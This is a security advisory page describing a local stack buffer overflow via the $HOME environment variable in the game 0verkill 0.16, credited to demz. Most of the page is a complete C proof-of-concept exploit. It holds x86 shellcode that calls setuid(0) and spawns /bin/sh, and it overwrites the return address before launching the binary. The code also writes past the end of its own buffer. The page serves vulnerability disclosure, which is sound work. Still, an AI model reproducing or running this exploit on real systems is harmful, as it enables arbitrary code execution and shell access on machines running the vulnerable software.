SecuriTeam - 0verkill Environment Variable Buffer Overflow

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CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

0verkill is a client-server 2D deathmatch-like game in ASCII art. It supports free connecting/disconnecting during the game, and runs well on modem lines. Graphics are in 16-color ASCII art with elaborate hero animations.

0verkill contains an $HOME environment variable stack overflow, this can be exploited very simple to execute arbitrary code (Most distributions do not set special privileges to this program, so no special privileges can be gained).

Credit:
The information has been provided by demz.

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Vulnerable systems:
* 0verkill version 0.16

Exploit:
/* gEEk-0verkill.c
*
* PoC exploit made for advisory based upon an local stack based overflow.
* Vulnerable versions, maybe also prior versions:
*
* 0verkill v0.16
*
* Tested on: Debian 3.0
*
* Advisory source: geekz.nl (security team)
* http://www.geekz.nl/releases/advisories/gEEk-adv.0x05
*
* -----------------------------------------
* coded by: demz (geekz.nl) (demz@geekz.nl)
* -----------------------------------------
*
*/

#include <stdio.h>
#include <stdlib.h>

char shellcode[]=

  "\x31\xc0" // xor eax, eax
        "\x31\xdb" // xor ebx, ebx
        "\x31\xc9" // xor ecx, ecx
        "\xb0\x46" // mov al, 70
        "\xcd\x80" // int 0x80

        "\x31\xc0" // xor eax, eax
        "\x50" // push eax
        "\x68\x6e\x2f\x73\x68" // push long 0x68732f6e
        "\x68\x2f\x2f\x62\x69" // push long 0x69622f2f
        "\x89\xe3" // mov ebx, esp
        "\x50" // push eax
        "\x53" // push ebx
        "\x89\xe1" // mov ecx, esp
        "\x99" // cdq
        "\xb0\x0b" // mov al, 11
        "\xcd\x80" // int 0x80

        "\x31\xc0" // xor eax, eax
        "\xb0\x01" // mov al, 1
        "\xcd\x80"; // int 0x80

int main()
{
  unsigned long ret = 0xbffffec4;

  char buffer[268];
  int i=0;

  memset(buffer, 0x90, sizeof(buffer));

  for (0; i < strlen(shellcode) - 1;i++)
  buffer[100 + i] = shellcode[i];

  buffer[268] = (ret & 0x000000ff);
  buffer[269] = (ret & 0x0000ff00) >> 8;
  buffer[270] = (ret & 0x00ff0000) >> 16;
  buffer[271] = (ret & 0xff000000) >> 24;
  buffer[272] = 0x0;

  printf("\n0verkill v0.16 local exploit\n");
        printf("---------------------------------------- demz @ geekz.nl --\n");

  setenv("HOME", buffer, 1);

  execl("0verkill", "0verkill", NULL);
}

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